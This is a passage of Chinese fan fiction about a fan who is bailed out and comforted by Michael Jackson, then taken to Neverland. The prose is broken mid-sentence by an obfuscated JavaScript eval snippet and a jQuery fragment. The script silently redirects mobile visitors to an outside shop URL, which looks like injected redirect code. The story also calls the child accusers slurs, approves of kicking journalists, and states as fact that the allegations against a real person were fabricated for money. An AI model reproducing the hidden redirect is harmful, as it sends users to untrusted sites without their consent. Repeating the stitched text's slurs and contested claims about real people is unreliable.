我可能睡了很久,恢复意识的时候感觉到脸上有什么湿润的、冰凉的东西。睁开眼就看见MJ垂着头拿着一块丝巾一样的东西擦拭着我的脸,他被我突然睁眼吓了一跳,手快速弹开了。我倒吸了一口气,大脑在瞬间清醒,前序的记忆回到脑海,我看着他近在咫尺的脸,和自己躺在他腿上的姿势,心狂跳起来,我真实地觉得自己其实还在做梦。他看上去有些不好意思,对我说sorry,did it hurt?我下意识地摇头,然后他说他想擦掉我脸上的血迹,它看起来有些糟糕。他轻轻抖了一下丝巾,那块浅色的布料上满是血渍。伤口处还在扯着疼,被湿润的丝巾浸了之后更加刺痛,但我顾不上疼,傻子一样地反问他,你是说你给我擦血迹?他看着我,笑着说是的,对不起如果这冒犯到你了。完全没有,我说,大脑还在这个意识带来的晕眩中,谢谢你。然后他拉着我继续躺在他腿上,俯身凑近来接着擦。他离得那么近,柔软的头发落在我脸上,带着香味。我能看清他薄薄的皮肤上的斑点,浓密的下眼睫,嘴唇的边缘和鼻尖那处凹陷。他眼神很专注,这样近距离观察我发现他眼睛大得出奇,像动物的眼睛,很亮很干净,完全不是46岁的人会有的样子。实际上他看上去像三十多,如果不是病痛带来的虚弱应该会更有活力。我不由自主地想到他三十岁左右时候bad巡演时期的样子,一身朋克风格的表演服,全是金属绑带和铆钉,舞台演出充满激情和爆发力,甩着一头汗湿的泡面长卷发,酷到没边。和现在简直判若两人。但我知道有些东西从未改变,他的柔软和孩子一样的纯真从来没有变过。
也许我的视线太过明目张胆,或者出神的样子太过好笑,MJ停下动作,咬着嘴唇侧过脸笑了一下,别这样盯着我看了,他有些脸红,甚至抬起另一只手挡了一下脸。我看到他手腕上褪色的红绳,想着这背后的故事,一边说对不起,我控制不住自己。他看起来更不好意思了,捂着脸笑了一会儿,轻声说着oh god。我觉得自己好像搞砸了什么,有些懊恼。我坐了起来,有些紧张。他也调整了一下坐姿,把沾血的丝巾收好了,靠在车窗边。很快就到了,他说,眼神看着窗外,侧影投射在玻璃上,说医生在等了,你有些发烧,而且眉毛那边可能需要缝两针。他转过来朝我投来安慰的目光,我点点头,吸了口气,打算正式地向他道谢。我说,Michael,我想谢谢你,为所有这些,也想为白天的混乱和这些麻烦向你道歉,我希望没给你带来不好的影响。他因为我突如其来的正式有些惊讶,oh,it’ ok,他摇了摇头,说这没什么,让我不用太介怀。但是,他顿了一下,暴力还是需要避免的,这会伤害到你自己。他语气带着劝告,仍然很温柔。我看着他的侧脸,不知道为什么没忍住心里话。我不喜欢他们硬把镜头架到你脸上,我说,也不喜欢他们提问的方式。案件还在审,媒体凭什么给你定罪?而且这原本就是陷害,那两个小杂种和他们的父母为了钱在胡说,为什么这些媒体都看不到事实?这完全不公平,我下意识提高了音量,那群混蛋自找的,我非给他们一些教训不可,我只后悔没多给他一脚。我说完才意识到说了脏话,激动的情绪让我还想说更多,但看着MJ渐渐变化的神情,我止住了。
他睁大了眼睛看着我,静止在那里,在昏暗的光线里像黑白的雕塑。大概过了十来秒,他侧过脸长长地呼了口气。god,他喊了声,摇了摇头捂住了脸,我看不清他的神情,然后他转过身朝着车窗,把头埋在了手臂里。我看着他消瘦的肩背,轻微地颤抖着,有些手足无措。车厢里只有电台的音乐还在播放,我慢慢听到很轻的压抑的抽泣的声音。我意识到说错了话。一时间同样的酸涩涌了上来,我喉咙像塞了棉花一样。我看了一圈车厢,看到后视镜里司机也看了过来,他朝我摇了摇头。我不明白他的意思。内心深处的情绪驱使着我做些什么,我鼓起勇气伸手搭在他肩上,触手的面料冰凉柔滑,但我能感受到他凸起的骨骼和细微的颤抖。对不起,我低声说。Dont be,他说,带着鼻音,他慢慢抬起头,泪眼朦胧地看向我,脸上一片湿润,粘着凌乱的黑发。谢谢你相信我,他认真地看着我的眼睛,深深地,像要看到我灵魂最深处。他喊了我的名字,说的很拗口,反复说了好几句谢谢。我不知道是该惊讶他居然知道我的名字,还是该沉浸于这一瞬间的触动。后面我意识到警局有我的个人信息,他当然会知道我叫什么。这种注视让我浑身都紧绷起来,我甚至躲开了他的视线。我沉默了一会,告诉他这不过是事实而已。他摇了摇头,勉强笑了一下,眼里还盈着泪水,呢喃着说,他以为只有上帝知道他的清白了,only god knows I’m innocent。
他说话的语气让我心碎,我不知道哪来的胆子急切地拉住了他的手,用双手握住,想把所有的力量都过渡给他。我说,我们都相信你,所有粉丝都知道你的无辜,真相会大白的,这个世界会看到的,我们陪你一起等着那天。我听到自己的声音发紧,带着哭腔。他噢了一声,扑过来抱住了我,手臂环住了我的肩背,头埋在我脖子旁边。我一半的身体都麻了,手不知道该放哪里。他的头发贴着我的脖子,我能感受到他从头到脚都开始颤抖,揪着我后背的衣服,用力到突出的骨节硌得我后背发疼。我意识到他有多需要一个能够依靠、倾诉并且相信他的清白的人。我鼻子发酸,用双手紧紧抱住他的肩,我不得不靠着车窗维持两个人的平衡。他抽泣着,声音有些沙哑了。他哭着说,其实他一点都不好,但他不得不表现的像能够承受一样,不得不一次次地去出庭,面对那些他帮助过的人,如今却一个个坐在对面,毫不迟疑地编造谎言,用那些指控侮辱他的人格和尊严。“他们难道不知道这对我造成了什么?我很受伤,他们伤透了我的心…我承受不了,我受够了。” “我不明白,我不理解为什么。他们其实已经给我定了罪,想把我扔进监狱。”他哭得厉害,几乎说不出完整的句子,到后面像失声了一样,我只能听到哽咽得打嗝般的喘气声。他的眼泪不断地落在我领口和颈窝,温度好像直接烫在我心上。我的心也同时像被揉碎了一样,他的痛苦和绝望是那么强烈浓郁,在短短的时间里爆发了出来,几乎让我窒息,我也哭了。我们紧紧拥抱在一起,眼泪几乎把对方淹没。我背靠在车窗上,MJ几乎软倒在我怀里,他浑身高热,后背的西服几乎都湿了,隔着衣服我能感受到爆发的情绪对他造成的生理性的冲击。我不得不揽着他,一遍一遍地告诉他,“你什么都没错,Michael,你没错。你是清白的,我们知道,我们从没怀疑过,从来没有。”他身体仍然在抖,显然这几年身心的双重折磨让这具原本就清瘦的身体更加消瘦,他后背几乎没有任何脂肪,整条脊柱一节节能清晰地摸到。我抖着手,摸过那些尖锐的棱角,只怕用力太大碰到他曾经的旧伤弄疼了他。好在MJ情绪慢慢平静了一些,当他从我肩上抬起头的时候,我看到他满脸的泪痕。他略凹陷的眼眶通红,睫毛都是湿的,异常洁白的皮肤透着病态的湿红,像层薄膜。他眼神里还写着未干的悲哀,泪水让它们惊人的透亮,所有的情绪都一览无遗,像阳光底下正在融化的雪堆。我尝到眼泪咸涩的味道,脸上也一片湿润,不知道是谁的眼泪。他眼里的痛苦还没完全散去,神色就已经恢复了平静。
我悲哀地看着他。“God bless you.”他捧起了我的脸,手指冰凉,用轻柔沙哑地声音凑近我耳边说,然后撑着我的肩在我右侧眉骨的伤口上轻轻地吻了一下。那一瞬间的刺痛,和他嘴唇上留下的一点血迹像在我身上过了电,伤口突突地跳着,连着太阳穴,我听到脑海里出现的机械电流声。然后MJ依然靠着我,好像需要这股力量,我们安静地依偎在一起。在那个短暂的时刻,我好像共享了他的灵魂,他掩藏在公众视野之后的真实感受,那是一种燃烧着的痛苦,炽热又绝望,从内到外烧着,我想最后会把他烧成一具空壳。
开到Neverland的时候,已经很晚了。这个世界闻名的童话庄园在夜里也灯火通明,但并没有我想象的热闹。除了工作人员,MJ好像是独自生活在这里。下车的时候,我发现自己的腿是颤抖的。我扶着他走进别墅,一路陆续碰到的人都在跟他打过招呼之后,用惊异的眼神看着我,也许这伤口是有些骇人。他温柔地回复了每个人,但避开了所有肢体接触,引我径直走向一个房间。我没有来得及仔细欣赏室内的装潢,因为他说医生在等着我。后面MJ当时的私人医生汤玛斯为我处理了伤口,眉骨那里缝了三针,消毒和缝线的时候,MJ坐在我身边,拉着我的手,他甚至看上去比我还紧张。也许缝针真没那么疼,也许车上的刺激已经让我的神经麻木,我还有多余的精神安慰他。一点都不疼,我说,最多会留疤,我不介意的。汤玛斯边缝针边调侃了一番,说没见几个女孩不介意脸上有疤的。我觉得他有点多嘴。Michael听了这话果然神情更加难受了,他用力地握着我的手,安慰我。我努力朝他微笑,用蹩脚的话题来转移注意力。汤玛斯手艺不错,缝好后贴了块纱布在上面,告诉我以后我右边的眉毛可能会缺一道。That sounds pretty cool,我说,他被我逗笑了。
汤玛斯走后我们一起吃了点东西,他让人给我做了培根意面和蘑菇汤,味道很不错,我空了一天的肚子后知后觉地在进食的过程中有了饥饿感。而他只吃了一些沙拉和素肉,喝了点橙汁,我怀疑这些东西是否真的能吃饱,但看他吃饭是一种享受。我身上很狼狈,血迹斑驳,还有车上留下的凌乱印记,出了很多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603117|205670||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
汗,我想应该不是很好闻。MJ身上的西服也有点凌乱,他内里的白色T恤甚至沾着血迹,可能是给我擦脸的时候碰到的。我们真该去洗洗了,他说,领着我穿过一道又一道华丽的拱门,走上长长的维多利亚式旋转楼梯,到他的卧室。我扶着他并肩而行,像穿行在19世纪英国王宫,画像和雕塑随处可见。Michael的确知道自己的品味,我的视线不断在不同的画像之间交错,几乎目不暇接。他跟随着我的视线,及时告诉我它们的来历,他对这些东西了如指掌。这棒极了,我简直忘了我们在做什么。他的卧室有两层,就像一个独立空间,依然英式奢华风格,中央挂着巨大的拿破仑画像,壁炉上摆满了照片,沙发上铺着凌乱的毛毯和一些衣服、衣架,有一架钢琴放在一边。桌上堆着书,报纸和散开的文件,地毯上到处是小孩玩具,零食,甚至还有一个奶瓶,空气里有淡淡的甜味,另一边的帘幔后面我看到了露出的床角,凌乱的,上面散落着衣服。
MJ在开门的瞬间叫了一声,显然之前没意识到房间是乱的。他有些不好意思,立刻走了过去,而我站在门边,一种奇异的感觉从脚底传来。我站在这里,站在MJ的卧室。Michael Jackson的卧室。我在那瞬间有种不真实的虚幻感受,兴奋和颤栗让我心跳加速,同时又升起了一种隐秘的愧疚,窥探到他隐私的负罪感,我应该现在就出去,大脑在发出警告可身体却没有动弹。他正在俯身匆匆地收拾东西,把沙发上的衣服和架子,各种乱七八糟的东西拿开,转身示意我来坐着。我僵硬地看着他,说我站在这里就行。他有些疑惑地看了我一眼,但手上的东西等着他处理,又匆匆地走掉了,消失在厚重的暗红色帘幔后面。我在原地等待,眼睛却不受控制地四处游移,贪婪地捕捉所有细节,我知道这不对。好在他没让我有机会把罪恶持续太久,很快就出来了,手上拿着两套花里胡哨的衣服。他理所当然地递给我一套。我抖开一看,红色的睡衣套装上面印满了米老鼠。“……”我抬头看去,发现他手上的是一套白色的米老鼠。都是我穿过的睡衣,你介意吗?他问。
不,一点也不。我拿着红色米老鼠,觉得它有点烫手,这个温度瞬间传导到我脸上,我觉得脸皮有些发热。我强装镇定地说,我十岁就不穿这种图案的衣服了。他噗嗤一下笑了,看了我一眼,摇了摇头又低头笑了起来。他垂着眼睛笑的样子很迷人,我脸更热了。“但我怎么记得你十岁的时候,还会因为找不到家人大哭呢?”他慢慢走到我面前,眼神里都是笑意,声音很温柔。
我呆住了,一瞬间怀疑自己听错了。我怔怔地盯着他,看到他漆黑的瞳孔里自己的倒影,看起来傻透了。I know it's you,I know it right there outside the court. 他伸手摸了摸我的头,像一个温柔慈爱的父亲那样,他声音柔软得不可思议,你长大了很多,但长相没怎么变。我嘴唇颤抖着,视线有些模糊,我哑声说你怎么可能还记得?他轻轻地说噢,我记得你的眼睛。他伸手擦了一下我的脸,我才知道眼泪已经流下来了。come here he said,笑着把我的脑袋按到了他肩上,一下一下摸着我后脑的头发。我把脸埋在他颈窝,感受着他的脉搏和体温,深深呼吸着他身上的味道。多年来刻在记忆里那个金色的身影在那时真切得让我反而觉得像在做梦。将近十年过去了,我从未想过他会记得我,记得我长什么样,甚至能在刚见面就认出我。我理所当然地认为,MJ把我保释出来,邀请我来Neverland,请私人医生照看我,纯粹因为他就是这样一个好人。这些事情他做得太多了,不用说粉丝,就是完全的陌生人也一样。
这个人会因为路过贫民区见到路边的流浪汉而让司机停车,把身上所有的钱一个一个分给那些人,然后默默离开。会在诬告案让他声名狼藉到儿童医院也拒绝接受他的捐款时,让人匿名把钱送去。会在一场接一场的巡演间隙,抽出时间去儿童医院看望孩子们,花一整夜的时间亲自把送给孩子们的玩具挨个装好电池,确保他们到手立刻就能玩,也会把巡演带来的一亿多美元的收益捐出去。
他的名字跟这座梦幻庄园一样,代表了孩子们的天堂。我何其有幸成为天堂的参观者,即便只是其中一个微不足道的部分。我多么希望Neverland能够永远存在,MJ能够永远做那个童话世界里的彼得潘,守护着所有纯洁的梦想和希望,而不是被他深爱的孩子们所背叛,被他要拯救的世界钉在十字架上。
他还在温柔地摸我的头发,说在白天见到我冲过来时震惊的心情,说在我们被警车押走后他一整天都在担心,说我一定不要再这样莽撞了,他还说了很多,而我除了抱紧他,什么也说不出来。